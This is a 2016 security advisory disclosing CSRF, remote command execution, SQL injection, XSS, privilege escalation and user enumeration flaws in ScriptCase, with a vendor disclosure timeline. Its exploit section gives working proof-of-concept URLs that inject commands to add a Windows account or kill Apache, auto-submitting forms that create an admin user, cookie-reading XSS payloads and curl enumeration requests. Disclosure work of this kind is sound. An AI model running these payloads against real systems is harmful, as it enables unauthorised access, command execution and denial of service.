ScriptCase CSRF / XSS / SQL Injection

2016-11-20T00:00:00
ID PACKETSTORM:139829
Type packetstorm
Reporter hyp3rlinx
Modified 2016-11-20T00:00:00

Description

                                        
                                            `[+] Credits: hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/SCRIPTCASE-PHP-WEB-TOOL-MULTIPLE-VULNERABILITIES.txt  
  
[+] ISR: ApparitionSec  
  
  
  
Vendor:  
==================  
www.scriptcase.net  
  
  
  
Product:  
===================  
ScriptCase  
v8.1.053, v8.1.051, v8.1.43.0  
  
scriptcase_install_en_us_v8.1.053.exe  
hash: ceaba1fce05556b82ab37582a7c907f4  
  
scriptcase_install_en_us_v8.1.051.exe  
hash: c3c9fbe085ab5462304c0c73c8698946  
  
  
ScriptCase RAD is a development platform for PHP applications, is web  
oriented and can be installed in a server in the internet.  
  
  
  
Vulnerability Type:  
=============================  
CSRF Remote Command Execution  
CSRF Add Admin  
SQL Injection  
Cross Site Scripting  
Local Privlege Escalation (Insecure File Permissions)  
User Enumeration / Token Bypass  
  
Downloaded latest version v8.1.053, and still vulnerable.  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
  
[CSRF Remote Command Execution]  
Scriptcase has a remote command execution ailment via CSRF, if an  
authenticated user clicks an attacker link etc. This can allow attackers  
to run arbitrary system commands on the affected host and do things like  
add accounts etc.  
  
Scriptcase PHP code uses encryption / obfuscated so its not easy testing  
but we can see here the error returned for PHP eval()'d code  
when injecting an Array [] brackets or something as paremeter.  
  
Parse error: syntax error, unexpected end of file, expecting ']'  
in C:\Program Files  
(x86)\NetMake\v81\wwwroot\scriptcase\devel\lib\php\functions2.inc.php(358)  
: eval()'d code on line 1  
  
After trying to wrap a Windows system call in backtick "`" operators it  
worked perfectly. This allowed me to add an arbitrary system  
account to the affected system.  
  
  
  
[CSRF]  
There are several cross site request forgery vectors, allowing attackers to  
add an Admin account to Scriptcase application etc.  
  
  
[Cross Site Scripting]  
Multiple XSS entry points exists within the vulnerable application both GET  
and POST.  
  
Example XSS vulnerable scriptcase code 'ajax_cod_apls' is not santized  
before being processed by ajax HTTP post request.  
  
$.ajax({  
type: 'POST',  
url: '/scriptcase/devel/iface/generate.php',  
data:  
'compile_app_ajax=S&gen_option=console&targ_frame=_self&console=yes&ajax_cod_apls='  
+ str_open_apps,  
success: function(s_result){  
a_result = s_result.split('__compile_ajax_sep_row__');  
nm_compile_gerar();  
}  
});  
  
  
  
[Local Privilege Escalation]  
scriptcase uses weak insecure file permissions as the aEveryonea group has  
full access on it. Allowing low privileged users to  
execute arbitrary code in the security context of ANY other users with  
elevated privileges on the affected system.  
  
"Everyone" encompasses all users who have logged in with a password as well  
as built-in, non-password protected accounts such as Guest  
and LOCAL_SERVICE.Any user (even guest) will be able to replace, modify or  
change the file. This would allow an attacker the ability  
to inject code or replace scriptcase used executables and have it run in  
the context of the system.  
  
  
  
[User Enumeration]  
On failed scriptcase login the application returns one of the following in  
the HTTP response.  
  
"The login name provided is not registered on the system."  
On a failed password but correct user name entered application HTTP  
response returns.  
"The password is incorrect."  
  
  
  
  
Exploit code(s):  
===============  
  
[CSRF Remote Command Execution]  
  
Note: we NEED to use backtick operators "`"  
  
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`start  
net user EVIL abc123 /add`  
  
Verify...  
  
c:\> net user  
  
User accounts for \\hyp3rlinx  
------------------------------------------------------------------------  
Administrator hyp3rlinx Guest  
EVIL Test Privileged-User  
  
  
2) start Windows 'calc.exe'  
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`calc.exe`  
  
OR  
  
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`start  
calc.exe`  
  
**sometimes "calc.exe" doesnt appear but it is running use "tasklist /v |  
findstr calc.exe" to verify it is in fact running.  
  
  
4) Apache DOS (needs httpd environmental variable set)  
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`taskkill  
/f /im httpd.exe`  
  
  
  
[SQL Injection]  
  
AND boolean-based blind - WHERE or HAVING clause in 'nrLinhas' parameter  
"10 AND 2=2"  
  
<form action="http://127.0.0.1:8081/scriptcase/devel/iface/admin_user.php"  
method="post">  
<input type="hidden" name="nOpc" value="1">  
<input type="hidden" name="nOpr" value="0">  
<input type="hidden" name="nColOrd" value="1">  
<input type="hidden" name="nLogin" value="">  
<input type="hidden" name="nFiltro" value="2">  
<input type="hidden" name="filtroTipo" value="2">  
<input type="hidden" name="filtroTexto" value="1">  
<input type="hidden" name="nrLinhas" value="10 AND 2=2">  
<input type="hidden" name="nrInicio" value="0">  
<input type="hidden" name="maxReg" value="1">  
<script>document.forms[0].submit()</script>  
</form>  
  
  
  
[CSRF Add Admin]  
  
<form name="form_user" action="  
http://127.0.0.1:8081/scriptcase/devel/iface/admin_user.php" method="POST">  
<input type="hidden" name="nOpc" value="2">  
<input type="hidden" name="nOpr" value="2">  
<input type="hidden" name="nLogin" value="hyp3rlinx">  
<input type="hidden" name="nMail" value="pwn@Done.com">  
<input type="hidden" name="nPass[]" value="abc123">  
<input type="text" name="nPass[]" value="abc123"/>  
<input type="text" name="privBox%5B%5D" value="Priv_Admin" />  
<input type="hidden" name="privBox%5B%5D" value="Priv_Proj" />  
<input type="hidden" name="privBox%5B%5D" value="Priv_DataDictionary" />  
<input type="hidden" name="privBox%5B%5D" value="Priv_Exec">  
<input type="hidden" name="privBox%5B%5D" value="Priv_Export">  
<input type="hidden" name="privBox%5B%5D" value="Priv_Library">  
<input type="hidden" name="privBox%5B%5D" value="Priv_Reports">  
<input type="hidden" name="privBox%5B%5D" value="Priv_Locales">  
<input type="hidden" name="privBox%5B%5D" value="Priv_Publish">  
<input type="hidden" name="privBox%5B%5D" value="Priv_Aba">  
<input type="hidden" name="privBox%5B%5D" value="Priv_Blank">  
<input type="hidden" name="privBox%5B%5D" value="Priv_Calendar">  
<input type="hidden" name="privBox%5B%5D" value="Priv_Chart">  
<input type="hidden" name="privBox%5B%5D" value="Priv_Cons">  
<input type="hidden" name="privBox%5B%5D" value="Priv_Container">  
<input type="hidden" name="privBox%5B%5D" value="Priv_Ctrl">  
<input type="hidden" name="privBox%5B%5D" value="Priv_Filt">  
<input type="hidden" name="privBox%5B%5D" value="Priv_Edit">  
<input type="hidden" name="privBox%5B%5D" value="Priv_Menu">  
<input type="hidden" name="privBox%5B%5D" value="Priv_ReportPdf">  
<input type="hidden" name="privBox%5B%5D" value="Priv_DbManager">  
<input type="hidden" name="privBox%5B%5D" value="Priv_DbConvert">  
<input type="hidden" name="privBox%5B%5D" value="Priv_SQLBuilder">  
<input type="hidden" name="privBox%5B%5D" value="Priv_Connection">  
<input type="hidden" name="hidden" value="New User">  
<script> document.forms[0].submit()</script>  
</form>  
  
  
[CSRF mysql connect creation wizard]  
  
<form action="  
http://127.0.0.1:8081/scriptcase/devel/iface/admin_sys_allconections_create_wizard.php"  
method="post">  
<input type="hidden" name="ajax" value="S"/>  
<input type="hidden" name="set_charset" value="S"/>  
<input type="hidden" name="dbms" value="mysql"/>  
<input type="hidden" name="sgdb" value="pdo_mysql"/>  
<input type="hidden" name="exit" value="S"/>  
<input type="hidden" name="host" value="127__DOT__0__DOT__0__DOT__1:3306"/>  
<input type="hidden" name="usr" value="root"/>  
<input type="hidden" name="pwd" value=""/>  
<input type="hidden" name="db" value="mysql"/>  
<script>document.forms[0].submit()</script>  
</form>  
  
  
  
[Cross Site Scripting] - Successful in Firefox  
  
XSS 1)  
  
http://127.0.0.1:8081/scriptcase/devel/iface/app_import.php?option=%22/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E  
  
  
XSS 2)  
  
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=%22/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E  
  
  
XSS 3)  
  
<form action="http://127.0.0.1:8081/scriptcase/devel/iface/generate.php"  
method="post">  
<input type="hidden" name="compile_app_ajax" value="S"/>  
<input type="hidden" name="gen_option" value="console"/>  
<input type="hidden" name="targ_frame" value="_self"/>  
<input type="hidden" name="console" value="yes"/>  
<input type="hidden" name="ajax_cod_apls"  
value="<script>alert(document.cookie)</script>"/>  
<script>document.forms[0].submit()</script>  
</form>  
  
  
XSS 4)  
  
<form action="http://127.0.0.1:8081/scriptcase/devel/iface/admin_user.php"  
method="post">  
<input type="hidden" name="nOpc" value="1">  
<input type="hidden" name="nOpr" value="0">  
<input type="hidden" name="nColOrd" value="1">  
<input type="hidden" name="nLogin" value="">  
<input type="hidden" name="nFiltro" value="2">  
<input type="hidden" name="filtroTipo" value="2">  
<input type="hidden" name="filtroTexto"  
value='"/><script>alert(document.cookie)</script>'>  
<input type="hidden" name="nrLinhas" value="10">  
<input type="hidden" name="nrInicio" value="0">  
<input type="hidden" name="maxReg" value="1">  
<script>document.forms[0].submit()</script>  
</form>  
  
  
  
[Local Privilege Escalations]  
  
Proof.  
  
C:\Program Files (x86)\NetMake\v81\components>cacls * | findstr Everyone |  
more  
C:\Program Files (x86)\NetMake\v81\components\apache Everyone:(ID)F  
  
Everyone:(OI)(CI)(IO)(ID)  
C:\Program Files (x86)\NetMake\v81\components\msodbcsql_x64.msi  
Everyone:(ID)F  
C:\Program Files (x86)\NetMake\v81\components\msodbcsql_x86.msi  
Everyone:(ID)F  
C:\Program Files (x86)\NetMake\v81\components\php Everyone:(ID)F  
Everyone:(OI)(CI)(IO)(ID)F  
  
  
C:\Program Files (x86)\NetMake\v81\wwwroot>cacls * | findstr Everyone | more  
C:\Program Files (x86)\NetMake\v81\wwwroot\favicon.ico Everyone:(ID)F  
C:\Program Files (x86)\NetMake\v81\wwwroot\index.php Everyone:(ID)F  
C:\Program Files (x86)\NetMake\v81\wwwroot\robots.txt Everyone:(ID)F  
C:\Program Files (x86)\NetMake\v81\wwwroot\scriptcase Everyone:(ID)F  
  
Everyone:(OI)(CI)(IO)(ID)F  
  
  
  
[User Account Enumeration / Token Bypass]  
  
First off the stupid token used on the login FORM e.g. "form_login=<TOKEN>"  
is totally useless you can put anything you like in it  
and the application will happily process the request.  
  
  
CURL Enumeration 1)  
curl -i -v -X POST  
http://127.0.0.1:8081/scriptcase/devel/iface/login.php?rand= -d  
field_user=BOZO -d field_pass=1 -d ajax=nm -d option=login -d  
form_login=STUPID-TOKEN -d language=en_US  
  
HTTP Response:  
"error1:The login name provided is not registered on the system."  
  
CURL Enumeration 2)  
curl -i -v -X POST  
http://127.0.0.1:8081/scriptcase/devel/iface/login.php?rand= -d  
field_user=admin -d field_pass=1 -d ajax=nm -d option=login -d  
form_login=STUPID-TOKEN -d language=en_US  
  
HTTP Response:  
"error1:The password is incorrect."  
  
Either way we know when we hit a valid account.  
  
  
  
Disclosure Timeline:  
=========================================  
Vendor Notification: October 13, 2016  
Vendor acknowledgement: October 14, 2016  
Vendor request POC video: October 14, 2016  
Sent vendor video link: October 14, 2016  
Request update from vendor: October 17, 2016  
Vendor reply: "under review"  
Vendor requests video again: October 25, 2016  
Request update from vendor: October 30, 2016  
Vendor reply: "No information"  
Request ETA: November 7, 2016  
Request status: November 14, 2016  
Vendor Unresponsive No More Replies  
November 20, 2016 : Public Disclosure  
  
  
  
Exploitation Technique:  
=======================  
Remote / Local  
  
  
  
Severity Level:  
================  
High  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.  
  
hyp3rlinx  
`